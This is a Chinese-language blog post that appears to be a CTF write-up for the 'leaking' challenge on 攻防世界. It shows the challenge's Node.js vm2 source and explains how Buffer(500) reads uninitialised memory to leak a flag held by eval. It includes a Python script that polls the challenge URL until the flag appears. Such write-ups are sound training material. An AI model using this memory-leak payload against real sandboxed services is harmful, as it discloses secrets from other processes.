攻防世界-leaking-(详细操作)做题过程

如有不对的地方,还请各位大佬指正。下面开始做题:

进入题目以后是一串代码,又是代码审计,很烦啊......哎。下面是需要了解的php函数含义:

require()是php的内置函数,作用是引入或者包含外部php文件。

  工作原理:当本身php文件被执行时,则外部文件的内容就将被包含进该自身php文件中;当包含的外部文件发生错误时,系统将抛出错误提示,并且停止php文件的执行。

 res.header:PHP中的header() 函数用于向客户端发送原始的 HTTP 报头

eval()函数 eval() 函数把字符串按照 PHP 代码来计算

console.log("内容");

作用:将"内容"输出在控制台中,方便以后的调试,是一个使用频率极高的功能。(控制台在浏览器中按F12,打开开发者模式的第二项(console)即可,并且也可以在console选项卡下即时做测试)

"use strict";

var randomstring = require("randomstring");
var express = require("express");
var {
    VM
} = require("vm2");
var fs = require("fs");

var app = express();
var flag = require("./config.js").flag

app.get("/", function(req, res) {
    res.header("Content-Type", "text/plain");

    /*    Orange is so kind so he put the flag here. But if you can guess correctly :P    */
    eval("var flag_" + randomstring.generate(64) + " = \"flag{" + flag + "}\";")
    if (req.query.data && req.query.data.length <= 12) {
        var vm = new VM({
            timeout: 1000
        });
        console.log(req.query.data);
        res.send("eval ->" + vm.run(req.query.data));
    } else {
        res.send(fs.readFileSync(__filename).toString());
    }
});

app.listen(3000, function() {
    console.log("listening on port 3000!");
});

完全没思路,只能观看其他大佬写的文章,提示我们关键语句是var  {VM}=require("vm2"),这句话的node.js沙盒的官方库,所以还需要了解node.js,连接在这里node.js 沙盒逃逸分析 - 掘金

在较早一点的 node 版本中 (8.0 之前),当 Buffer 的构造函数传入数字时, 会得到与数字长度一致的一个 Buffer,并且这个 Buffer 是未清零的。8.0 之后的版本可以通过另一个函数 Buffer.allocUnsafe(size) 来获得未清空的内存。

再加上eval()函数会将flag读入到内存中的全局变量中,所以我们只要通过沙箱里的eval去读内存条中的内容,就可以形成沙盒逃逸,本题没有用到原型链,可以直接利用buffer()读取内存的内容,由于内存保护机制,并不是每一次都能读取到flag内容的代码,多运行几次就能读到flag了,可以构建出payload:/>data=buffter(1000),获得flag的代码:


import requests
import time
url = 'http://111.200.241.244:60974/?data=Buffer(500)'
response = ''
while 'flag' not in response:
        req = requests.get(url)
        response = req.text
        print(req.status_code)
        time.sleep(0.1)
        if 'flag{' in response:
            print(response)
            break

运行以后就可以得到了flag{4nother_h34rtbleed_in_n0dejs}

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值